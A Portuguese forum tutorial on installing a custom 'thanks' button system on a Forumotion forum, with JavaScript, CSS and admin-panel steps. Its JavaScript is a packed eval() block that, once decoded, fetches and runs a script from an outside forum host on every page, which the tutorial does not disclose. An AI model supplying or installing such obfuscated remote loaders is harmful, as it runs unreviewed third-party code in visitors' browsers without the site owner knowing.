[TUTORIAL] Sistema de agradecimentos personalizado

Ver o tópico anterior Ver o tópico seguinte Ir em baixo

[TUTORIAL] Sistema de agradecimentos personalizado

Mensagem por seender em 30/11/12, 08:44 pm

Sistema "Obrigado"
A partir deste tutorial podemos aplicar um código no fórum que personalizará totalmente o sistema de agradecimentos do fórum.



--> Tutoriais e astúcias <--
Sistema de agradecimentos personalizado



- Código a ser utilizado:
O código a ser utilizado será este:
var thanks_version = 'Versão';
var thanks_image = 'Imagem';

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 0=3;$(4(){0=5});$.6(\'7://8.9.a/b-c\');',16,16,'DOM_IS_READY|js|var|false|function|true|getScript|http|brazucas|forumado|net|h3|imagem'.split('|'),0,{}))

Vermelho -> Irá alterar colocando a versão em que o vosso fórum se encontra.
Verde -> Neste local irá modificar adicionando o link da imagem do botão nas mensagens.

- Aplicação do código:
Aceda à:
Painel de controle -> Módulos -> HTML & JavaScript -> Gestão dos códigos JavaScripts
Seta Título Correspondente ao nome da página JavaScript/jQuery que será criada.
Seta Localização- São destinados os devidos locais para onde você aplicará os efeitos do JavaScript nos fóruns. No nosso caso, aplicaremos Em todas as páginas.
Seta Código JavaScript Campo destinado para receber o código JavaScript criado anteriormente.
Seta Habilitar o gerenciamento dos códigos JavaScript Ao selecionar a opção sim, estará ativando a função páginas Javascript no seu fórum. Se selecionar não, as páginas serão desabilitadas no fórum.

- Código CSS a ser utilizado:
Código:
.allthanks{background: none repeat scroll 0 0 #E2F5FB;border: 1px solid #D0D0D0;color: #000000;margin: 0 auto;padding: 5px;text-align: center;-webkit-border-radius: 6px;-moz-border-radius: 6px;border-radius: 6px;margin: 30px 0 5px;}
span.cant-thanks {font-weight: 700;line-height: 30px;font-size: 15px;}
span.thanks-author {font-weight: 700;}
span.thanks-author a {text-decoration: none;}
.vote {display: none;}

- Aplicando o código CSS:
Agora deverá seguir um esquema de onde o código deverá ser adicionado:
Painel de Controle -> Visualização -> Imagens e cores -> Cores -> Folha de estilo CSS

(carregue na imagem para aumentar)

  • Resultado:
    (carregue na imagem para aumentar)





© Fórum dos Fóruns & Today


Se tiver alguma dúvida relacionada com este tópico crie um tópico com o seguinte título:
[Dúvida] Sistema de agradecimentos personalizado
avatar

seender
Principal contribuidor
Principal contribuidor

Masculino
Inscrito dia : 07/04/2009
Mensagens : 9450
Pontos Ativos : 12457

Ver perfil do usuário http://www.divulgamaisweb.com https://www.facebook.com/Divulga-Mais-Web-874814432638426/

Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo


Permissão deste fórum:
Você não pode responder aos tópicos neste fórum